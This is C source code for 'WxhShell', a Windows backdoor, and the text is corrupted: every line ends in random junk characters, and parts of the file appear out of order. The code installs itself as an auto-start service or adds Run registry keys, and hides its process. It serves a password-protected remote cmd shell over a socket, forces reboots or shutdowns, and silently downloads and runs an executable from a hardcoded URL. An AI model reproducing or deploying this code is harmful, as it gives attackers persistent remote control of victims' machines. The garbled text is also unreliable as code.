    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s8yCC #H"  
    if(Boot(SHUTDOWN)) F\Y,JUn[G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9kUV1?  
    else { { $X X  
    closesocket(wsh); &EGY+p|2Y  
    ExitThread(0); @n>{&^-c  
    } (Q\\Gw   
    break; 4%%B0[Wo_O  
    } oAC^4-Ld  
  // 获取shell v=j>^F Z  
  case 's': { *|sxa#  
    CmdShell(wsh); B6(h7~0(<  
    closesocket(wsh); (UXv,_"nU  
    ExitThread(0); Mo~ki"9.  
    break; P~o@9RV-  
  } 6/VNuQ_#  
  // 退出 { _-wG3f|  
  case 'x': { xp~YIeSg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pEY>A_F  
    CloseIt(wsh); #`r(zI[  
    break; dEL3?-;'  
    } F ZM2   
  // 离开 aX:#'eDB  
  case 'q': { #"|"cYi,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Al=(sHc'  
    closesocket(wsh); r(pwOOx  
    WSACleanup(); `Fz\wPd  
    exit(1); ;HR 6X  
    break; RfD{g"]y  
        } r[6#G2  
  } z7| s%&  
  } mJSK; @w<O  
G`9cd\^  
  // 提示信息 ]d[Rf$>vu0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |if~i;VKL  
} bl$+8 !~  
  } jB5>y&+  
GU:r vS!  
  return; sM #!Xl;  
} ;r gH}r  
R.91v4 J  
// shell模块句柄 TP{>O%b  
int CmdShell(SOCKET sock) 'bZMh9|  
{ YtV |e|aD  
STARTUPINFO si; ERUs0na]  
ZeroMemory(&si,sizeof(si)); GS$ZvO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aQl?d<|+lk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }f<fgY  
PROCESS_INFORMATION ProcessInfo; C/{nr-V3u  
char cmdline[]="cmd"; Wv6z%r<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >2]Eaw&W  
  return 0; I;`Ko_i  
} ~AEqfIx*^&  
&&]"Y!r -  
// 自身启动模式 ,ma Aw}=  
int StartFromService(void) #)W8.  
{ n@G:e-m{A  
typedef struct Rel(bA-[N  
{ 3%It~o?  
  DWORD ExitStatus; WE+sFaKq-  
  DWORD PebBaseAddress; DBu)xr}7A  
  DWORD AffinityMask; GVjv** U  
  DWORD BasePriority; s[0prm5.  
  ULONG UniqueProcessId; I}*]m%'-Y  
  ULONG InheritedFromUniqueProcessId; r~S!<9f  
}   PROCESS_BASIC_INFORMATION; :J=+;I(UI  
 IgzCh  
PROCNTQSIP NtQueryInformationProcess; *b$z6.  
o1fyNzq<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qP7&LtU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1Y H4a|bc  
ROJ'-Vde9  
  HANDLE             hProcess; "ay,Lr  
  PROCESS_BASIC_INFORMATION pbi; "<cB73tY  
)z ?&" I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +Op%,,Db  
  if(NULL == hInst ) return 0; vSyi}5D  
beN>5coP%A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oW yN:Qh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C:tSCNH[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u7WTSL%  
!#@4xeBPo  
  if (!NtQueryInformationProcess) return 0; +LQs.*  
!T#8N7J>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SU_] C+  
  if(!hProcess) return 0; giPhW>  
DWm;&RPJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &9RW9u "  
x8SM,2ud  
  CloseHandle(hProcess); 6*(h9!_T1  
v2Qc}o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0aTEJX$iZ  
if(hProcess==NULL) return 0; 4t%:O4 3e  
S2At$47v  
HMODULE hMod; QigoRB!z#9  
char procName[255]; rr07\;  
unsigned long cbNeeded; 0w'y#U)&8  
},n,P&M\`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U!;aM*67  
lkSz7dr@  
  CloseHandle(hProcess); [F AOp@7W  
7fN&Q~.  
if(strstr(procName,"services")) return 1; // 以服务启动 PPj6QJ]R0  
A&}nRP9  
  return 0; // 注册表启动 {'c%#\  
} #8Id:56  
+EiUAs~H  
// 主模块 q~g&hR}K  
int StartWxhshell(LPSTR lpCmdLine) TReM8Vd  
{ u\1Wkxj  
  SOCKET wsl; d4/`:?w  
BOOL val=TRUE; zZ+LisSs&  
  int port=0; YP\4XI  
  struct sockaddr_in door; 'Qs 3  
6(<~1{ X%  
  if(wscfg.ws_autoins) Install(); Y9H *S*n  
tN'- qdm  
port=atoi(lpCmdLine); &6|^~(P?  
)q]j?Z.  
if(port<=0) port=wscfg.ws_port; G|PIH#  
Dho^^<`c+  
  WSADATA data; c@o/Cv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0JZq:hUd  
qLW-3W;WUH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R SWB!-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Am=PUQF$  
  door.sin_family = AF_INET; #Mem2cz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C#?d=x  
  door.sin_port = htons(port); c;~Llj P  
ry'^1~,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =<FZ{4  
closesocket(wsl); c"sw@<HG  
return 1; Dgq[g_+l  
} e~ 78'UH  
yA>p[F  
  if(listen(wsl,2) == INVALID_SOCKET) { Y`O}]*{>8R  
closesocket(wsl); k}0  
return 1; v!'@NW_  
} `SS~=~WY  
  Wxhshell(wsl); NW>:Lz ?"  
  WSACleanup(); 2|NyAtPb5  
c{4nW|/W  
return 0; (b 2^d  
J%[N-  
} }9Dv\"t5  
BLH3$*,H  
// 以NT服务方式启动 Dp6"I!L<|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BiLreZ~"  
{ =cKk3kJC  
DWORD   status = 0; [Z G j7  
  DWORD   specificError = 0xfffffff; ];}|h|q/{}  
WT {Cjn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A`/7>'k/q[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b!HFv;^N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rMFZ#38d  
  serviceStatus.dwWin32ExitCode     = 0; ds[Z=_Ll  
  serviceStatus.dwServiceSpecificExitCode = 0; *U^I `j[u  
  serviceStatus.dwCheckPoint       = 0; lR K ?%~  
  serviceStatus.dwWaitHint       = 0; L8K3&[l%  
`IRT w"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +~{nU'  
  if (hServiceStatusHandle==0) return; o%>nu  
K~%5iVO~\  
status = GetLastError(); <0qY8  
  if (status!=NO_ERROR) l YA+k5  
{ k#+^=F^)I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vCo}-b-j  
    serviceStatus.dwCheckPoint       = 0; vgZPDf|  
    serviceStatus.dwWaitHint       = 0; E :g ArQ  
    serviceStatus.dwWin32ExitCode     = status; ^a5~FI:  
    serviceStatus.dwServiceSpecificExitCode = specificError; .7Bav5 ;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %a^!~qV  
    return; ] r+I D  
  } )4~XZt1r  
Y k6WSurw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d }CMX$1  
  serviceStatus.dwCheckPoint       = 0; }33Au-%*  
  serviceStatus.dwWaitHint       = 0; uH h2>Px  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9.}3RAB(cv  
} EHJc*WFPU-  
|8+rUFkU8  
// 处理NT服务事件,比如:启动、停止 X KeK;+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g@i 4H[k  
{ 6UP3Ij  
switch(fdwControl) t~#+--(  
{ t?&ajh  
case SERVICE_CONTROL_STOP: tXGcwoOB  
  serviceStatus.dwWin32ExitCode = 0; goWt!,&f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j+v)I=  
  serviceStatus.dwCheckPoint   = 0; 0drc^rj !  
  serviceStatus.dwWaitHint     = 0; |'(IWU  
  { XwGJ 8&N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); duTSU9  
  } y!Eh /KD  
  return;  16{;24  
case SERVICE_CONTROL_PAUSE: !2,.C+,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S!bvU2d  
  break; ba.OjK@  
case SERVICE_CONTROL_CONTINUE: ^ B]t4N2i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;0WlvKF  
  break; z}|'&O*.F  
case SERVICE_CONTROL_INTERROGATE: hTqJDP"&F  
  break; svII =JB  
}; {rr\hl-$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R2gax;  
} @bE?WXY  
w}0PtzOe  
// 标准应用程序主函数 =!2   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )oCF| 2qc  
{ {643Dz<e  
n$K_KU v  
// 获取操作系统版本 4+Kc  
OsIsNt=GetOsVer(); dzap]RpB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uhLW/?q.  
9w|q':<  
  // 从命令行安装 NH!! .Z"  
  if(strpbrk(lpCmdLine,"iI")) Install(); \wP$"Z}j  
\qPrY.-  
  // 下载执行文件 G{9y`;  
if(wscfg.ws_downexe) {  G%{jU'2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bzTM{<]sv  
  WinExec(wscfg.ws_filenam,SW_HIDE); [VH t#JuN,  
} [DviN  
a'r\e2/e?H  
if(!OsIsNt) { -`JY] H  
// 如果时win9x,隐藏进程并且设置为注册表启动 scmb DaOn  
HideProc(); |b'AWI81D  
StartWxhshell(lpCmdLine); f3O'lc3  
} #N:o)I  
else GOjri  
  if(StartFromService()) 60m1 >"  
  // 以服务方式启动 U8z,N1]r*`  
  StartServiceCtrlDispatcher(DispatchTable); :\Dm=Q\  
else +|N"i~f>j  
  // 普通方式启动 tBt\&{=|D  
  StartWxhshell(lpCmdLine); J5-^@JYK  
2zAS \Y  
return 0; ! d(,t[cV  
}  _~r>C  
vKxwv YDe  
Ag-*DH0  
W/+0gh7`,(  
=========================================== q>?oV(sF  
Ec|#i  
7_LE2jpC,5  
[>fE{ ~Y  
j`bOJTBE  
SExd-=G  
" Y,{Xv  
}Q*8QV  
#include <stdio.h> -Rmz`yOq}  
#include <string.h> h c "n?  
#include <windows.h> .- w*&Hd7b  
#include <winsock2.h> hP #>`)aNY  
#include <winsvc.h> Ma$b(4dB  
#include <urlmon.h> N:0mjHG  
\ FA7 +Q  
#pragma comment (lib, "Ws2_32.lib") z}Q54,9m  
#pragma comment (lib, "urlmon.lib") 3a =KgOvp  
r__uPyIMG/  
#define MAX_USER   100 // 最大客户端连接数 75a3H`  
#define BUF_SOCK   200 // sock buffer >-Jutr<I"~  
#define KEY_BUFF   255 // 输入 buffer E[ ,Ur`>:  
ZJS7#<-7o  
#define REBOOT     0   // 重启 Y?Xs Z  
#define SHUTDOWN   1   // 关机 NcdOzx>  
jZ)1]Q2  
#define DEF_PORT   5000 // 监听端口 `6'fX[j5  
|]V0sgpoZ  
#define REG_LEN     16   // 注册表键长度 hW]:CIqk  
#define SVC_LEN     80   // NT服务名长度 V5m4dQ>t  
&R25J$  
// 从dll定义API tONxV`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &GX pRo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lO[[iMHl<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R'He(x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -B'<*Y  
A^xD Axk  
// wxhshell配置信息 M,zUg_ @  
struct WSCFG { qn:3s  
  int ws_port;         // 监听端口 BTqY _9  
  char ws_passstr[REG_LEN]; // 口令 (k4>I"x)  
  int ws_autoins;       // 安装标记, 1=yes 0=no R0vWj9nPh  
  char ws_regname[REG_LEN]; // 注册表键名 x^&D8&4^  
  char ws_svcname[REG_LEN]; // 服务名 R]H/Jv\'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v="i0lL_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |4UW.dGHPo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XX+%:,G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G[GSt`LVS`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yal T6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w,n&K6<  
~"xc 3(h  
}; xj\! Sn2  
3w6}%=)$8  
// default Wxhshell configuration {FNmYneh?6  
struct WSCFG wscfg={DEF_PORT, VG'M=O{)3  
    "xuhuanlingzhe", jInI%  
    1, %|Sh|\6A!  
    "Wxhshell", P :zZ  
    "Wxhshell", j#6@ cO'`  
            "WxhShell Service", = wEU+R_#o  
    "Wrsky Windows CmdShell Service",  xY v@  
    "Please Input Your Password: ", xvU@,bzz  
  1, ;hzm&My  
  "http://www.wrsky.com/wxhshell.exe", 3 vr T`  
  "Wxhshell.exe"  $I}7EI  
    }; kzozjh%`9h  
|T3F:],`  
// 消息定义模块 {-a8^IK,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  vf}.)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?y"= jn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H+lBb$  
char *msg_ws_ext="\n\rExit."; `?P)RS30  
char *msg_ws_end="\n\rQuit."; nz+k ,  
char *msg_ws_boot="\n\rReboot..."; *e/8uFX  
char *msg_ws_poff="\n\rShutdown..."; {_[\k^98>  
char *msg_ws_down="\n\rSave to "; z"D'rHxy  
q#pD}Xe$  
char *msg_ws_err="\n\rErr!";  a>6@1liT  
char *msg_ws_ok="\n\rOK!"; S1SsJo2\  
?azi(ja  
char ExeFile[MAX_PATH]; ,;%F\<b  
int nUser = 0; jc0Trs{Jf  
HANDLE handles[MAX_USER]; I)s~kA.e  
int OsIsNt; Le,e,#hiY  
;Gnk8lIsb  
SERVICE_STATUS       serviceStatus; (?y (0%q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SyL:=NZ  
8r{:d i*  
// 函数声明 VUd=|$'J  
int Install(void); v#X l  
int Uninstall(void); %Bxp !Bj  
int DownloadFile(char *sURL, SOCKET wsh); N Ftmus  
int Boot(int flag); QtSJ9;eP  
void HideProc(void); (,P6cWt}"  
int GetOsVer(void); 5yl[#>qt  
int Wxhshell(SOCKET wsl); zLt7jxx  
void TalkWithClient(void *cs); .=`r?#0  
int CmdShell(SOCKET sock); SJ0IEPk  
int StartFromService(void); _+=M)lPm  
int StartWxhshell(LPSTR lpCmdLine); ,RXfJh  
_DD.#YB</  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EEI !pi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ca6kqh"  
yH<a;@C  
// 数据结构和表定义 X6Wj,a  
SERVICE_TABLE_ENTRY DispatchTable[] = U#U'iPy  
{ %G43g#pD  
{wscfg.ws_svcname, NTServiceMain}, 8n'"RaLQ8  
{NULL, NULL} @a]O(S>Ub  
}; a9%^Jvm"  
&Cykw$s  
// 自我安装 4z*An}ol]  
int Install(void) %4#Q3YlyD  
{ a}p}G\b|  
  char svExeFile[MAX_PATH]; ZIr&_x#e  
  HKEY key; |%HTBF  
  strcpy(svExeFile,ExeFile); ba`V`0p-(  
.$~zxd#zo  
// 如果是win9x系统,修改注册表设为自启动 &ZR}Z7E*=  
if(!OsIsNt) { V;-$k@$b.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kKlcK_b;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9*b(\Z)N  
  RegCloseKey(key); yKb+bm&5:'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { | f}1bJE+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~u^MRe|`  
  RegCloseKey(key); kuI%0) iZn  
  return 0; nMT"Rp  
    } XI/LVP,.  
  } &CcUr#|  
} \LbBK ~l-I  
else { i"Z  
 ze_q+Z  
// 如果是NT以上系统,安装为系统服务 /$Ca }>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?y`we6~\1  
if (schSCManager!=0) XhEJF !  
{ ]ur_G`B  
  SC_HANDLE schService = CreateService }\Ri:&?  
  ( _Gb O>'kE  
  schSCManager, 1Ht&;V  
  wscfg.ws_svcname, [,?5}'we  
  wscfg.ws_svcdisp, E,wOWs*  
  SERVICE_ALL_ACCESS, +ebmve \+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^0T DaZDLp  
  SERVICE_AUTO_START, CA[3 R  
  SERVICE_ERROR_NORMAL, L,7+26XV"B  
  svExeFile, Gw@]w;ed  
  NULL, 2T&n6t$p  
  NULL, K?$|Y-_D^M  
  NULL, 3<A$lG  
  NULL, *w,C5 f  
  NULL `~;`q  
  ); Q XLHQ_V  
  if (schService!=0) =b_/_b$q  
  { 7%)KB4(\_  
  CloseServiceHandle(schService); u !@(u!Qz  
  CloseServiceHandle(schSCManager); rjWn>M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,C;%AS/  
  strcat(svExeFile,wscfg.ws_svcname); u?%FD~l:uU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D@?Tq,= [  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^jB17z[  
  RegCloseKey(key); efX iZ  
  return 0; p"tCMB  
    } _/[}PQC6G  
  } ^_5t5>  
  CloseServiceHandle(schSCManager); MiN|u  
} 3;Y 9<  
} F\Q X=n  
}-N4D"d4o  
return 1; .g?Ppma  
} kkU#0p?7  
r(OH  
// 自我卸载 GzEvp  
int Uninstall(void) ;7U"wI_~c  
{ ) ^ 7- qy  
  HKEY key; m2v'zJd}g  
g:2\S=  
if(!OsIsNt) { '<1Q;3Ho  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GsiT!OP]y  
  RegDeleteValue(key,wscfg.ws_regname); mk[<=k~  
  RegCloseKey(key); jygKw+C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { paZcTC  
  RegDeleteValue(key,wscfg.ws_regname); suE#'0K  
  RegCloseKey(key); UUEbtZH;  
  return 0; \4Z"s[8}  
  } ,~>u<Wc!S  
} CGs5`a  
} J5SOPG  
else { Xp~O?2:3l  
V PI_pK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I&>5b7Uf  
if (schSCManager!=0) MrhJk  
{ -)[~%n#X+t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k(dNHT  
  if (schService!=0) O4T_p=Xc  
  { Qk8YR5 K   
  if(DeleteService(schService)!=0) { :tp{(MF  
  CloseServiceHandle(schService); %:Y'+!bX  
  CloseServiceHandle(schSCManager); VL2ACv(  
  return 0; 0v'FE35~s  
  } GJbU1k]  
  CloseServiceHandle(schService); SKrkB~%z  
  } q5u"v  
  CloseServiceHandle(schSCManager); yfCdK-9+B  
} <hM`]/J55  
} rT{+ h}vO  
+6+!M_0wA  
return 1; qo62!q  
} Fun+L@:;  
DW.vu%j^[  
// 从指定url下载文件 0ntf%#2{  
int DownloadFile(char *sURL, SOCKET wsh) =RH7j  
{ pv){R;f  
  HRESULT hr; ecG,[1];  
char seps[]= "/"; .Pi8c[  
char *token; Y> f 6  
char *file; EG3?C  
char myURL[MAX_PATH]; 9_<>#)u5  
char myFILE[MAX_PATH]; xix: = a  
B0#JX MX9  
strcpy(myURL,sURL); euc|G Xs  
  token=strtok(myURL,seps); *mTx0sQz(J  
  while(token!=NULL) 1Wy0#?L  
  { :{ Q[kYj  
    file=token; tf_<w?~  
  token=strtok(NULL,seps); AQa;D2B$  
  } hRKA,u/G  
<u%&@G$F>  
GetCurrentDirectory(MAX_PATH,myFILE); f=/IwMpn  
strcat(myFILE, "\\"); )Me$BK>  
strcat(myFILE, file); TSHQ>kP  
  send(wsh,myFILE,strlen(myFILE),0); m C &*K  
send(wsh,"...",3,0); \C.s%m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T\Ld)'fNv  
  if(hr==S_OK) K,Z_lP_~Vw  
return 0; 3T7,Y(<V  
else ;R8pVj!1f  
return 1; "de3S bj@?  
ofIw7D*h  
} %an&lcoX  
C!Oz'~l  
// 系统电源模块 Uc<j{U ,  
int Boot(int flag) S eTn]  
{ `bx}!;{lx  
  HANDLE hToken; _6k ej#o8  
  TOKEN_PRIVILEGES tkp; 7C"&f *lEi  
J5 2- qR/  
  if(OsIsNt) { n~|sMpd,M1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 01/yog  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _BP!{~&;  
    tkp.PrivilegeCount = 1; m0zbG1OE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9C2DW,?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cgevP`*]  
if(flag==REBOOT) { @K:TGo,%I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WY 'QhieH  
  return 0; q"O4}4`  
} :$J4T;/{  
else { >wOqV!0<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y3RaR 9  
  return 0; ]= nM|e  
} M!j: 2dT"  
  } "g=g' W#  
  else { ;('(Yn7~  
if(flag==REBOOT) { U 3UDA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |MQ_VZ{6  
  return 0; P UJkC  
} y6C3u5`  
else { C0> Z<z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^;@Q3~DpP%  
  return 0; l k?@ =U~  
} -h?ed'e/zz  
} luj UEHzp  
:,'yHVG\  
return 1; 0 P]+/  
} Je1'0h9d  
vl,Ff9  
// win9x进程隐藏模块 Q]v><  
void HideProc(void) 4u.Fy<+@4M  
{ }Jr!a M'  
LI`H,2Km  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h .%)RW?  
  if ( hKernel != NULL ) _q7mYc  
  { @3_[NI%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &u}]3E'-k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]b6gZ<  
    FreeLibrary(hKernel); Y :-O/X  
  } 2iV/?.<Z&  
&4R -5i2a  
return; ]XS[\qo  
} $(=0J*ND"  
ObyF~j}j  
// 获取操作系统版本 KW 78J~u+  
int GetOsVer(void) W~i599!v  
{ w$1B|7tX;2  
  OSVERSIONINFO winfo; snm1EPj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7~2c"WE  
  GetVersionEx(&winfo); Fd(o8z8Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^|j @' @L  
  return 1; N}rc3d#  
  else T_NN.Ol   
  return 0; OS]FGD3a  
} ?Zv>4+Y'  
=f\BAi  
// 客户端句柄模块 I/`\>Hk  
int Wxhshell(SOCKET wsl) UJ^MS4;I3  
{ n{8v^x  
  SOCKET wsh; ,\^RyHg  
  struct sockaddr_in client; ,E3Ze*(U  
  DWORD myID; 1h,m  
CjT]!D)s  
  while(nUser<MAX_USER) #-{^={p "  
{ u|EHe"V"  
  int nSize=sizeof(client); 25wvB@0&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &++tp5  
  if(wsh==INVALID_SOCKET) return 1; S>nf]J`  
 \s^4f#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t=BXuFiu  
if(handles[nUser]==0) 0Ma3  
  closesocket(wsh); m!LJK`gA  
else & T&>4I!'M  
  nUser++; g7@.Fa.u'!  
  } C]GW u~QF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P&.-c _  
d6vls7J/4  
  return 0; Zy&?.d[z  
} fj:q_P67o  
]!'9Y}9a  
// 关闭 socket O;H|nW}  
void CloseIt(SOCKET wsh) HBiUp$(mB  
{ 7?W1i{(  
closesocket(wsh); ;!Q}g19C  
nUser--; {}DoRp q=  
ExitThread(0); p|RFpn2ygF  
} /?_5!3KJ  
-W'T3_  
// 客户端请求句柄 9D,/SZ-v  
void TalkWithClient(void *cs) C<yjGt VD  
{ h;JO"J@H  
MR}h}JEx0  
  SOCKET wsh=(SOCKET)cs; 0$:jZ/._  
  char pwd[SVC_LEN]; ? uu,w  
  char cmd[KEY_BUFF]; 'wd&O03&  
char chr[1]; Y wu > k  
int i,j; Y |'}VU  
xjH({(/B>a  
  while (nUser < MAX_USER) { [/GCy0jk  
nk.j7tu  
if(wscfg.ws_passstr) { qj:\ )#I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1^AG/w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aK5O0`  
  //ZeroMemory(pwd,KEY_BUFF); 9six]T  
      i=0; gH:+$FA  
  while(i<SVC_LEN) { ?AYb@&%  
Rg\D-F6:  
  // 设置超时 2f0qfF  
  fd_set FdRead; -n~%v0D8c  
  struct timeval TimeOut; <Wa7$hF  
  FD_ZERO(&FdRead); ZIs=%6""&  
  FD_SET(wsh,&FdRead); jSdW?IH  
  TimeOut.tv_sec=8; L7PM am  
  TimeOut.tv_usec=0; JL!:`#\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mIah[~G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g66x;2Q  
l dw!G/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $VnPs!a  
  pwd=chr[0]; >?|c>HGX  
  if(chr[0]==0xd || chr[0]==0xa) { dLtmG:II  
  pwd=0; ^7iP!-w/  
  break; \W+Hzf] W#  
  } .Zm de*b  
  i++; [Y-3C47  
    } ra}t#Xt`  
pIl[)%F  
  // 如果是非法用户,关闭 socket nUScDb2|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9O|k|FD  
} wj 15Og?  
Y{g[LG`U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sfzDE&>'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Eu2(#z 6eW  
CG] /.  
while(1) { c!]Q0ib6  
:Ny^-4-N  
  ZeroMemory(cmd,KEY_BUFF); 6[\1Nzy>  
xwa@h}\#  
      // 自动支持客户端 telnet标准   !dOpLUh l  
  j=0; *X8Pa ;x  
  while(j<KEY_BUFF) { [7h/ 2La#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <6.?:Jj  
  cmd[j]=chr[0]; x\aCZ  
  if(chr[0]==0xa || chr[0]==0xd) { Q=t_m(:0  
  cmd[j]=0; FXh*!%"*  
  break; <$Dj ags,F  
  } 2)9XTY 6$  
  j++;  3 EOuJ  
    } aEn*vun  
+Ou<-EQV  
  // 下载文件 #@m6ag.  
  if(strstr(cmd,"http://")) { X/FRe[R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,:% h`P_  
  if(DownloadFile(cmd,wsh)) uLr-!T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 't+'rG6x  
  else V\=%u<f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ce7 $# #f  
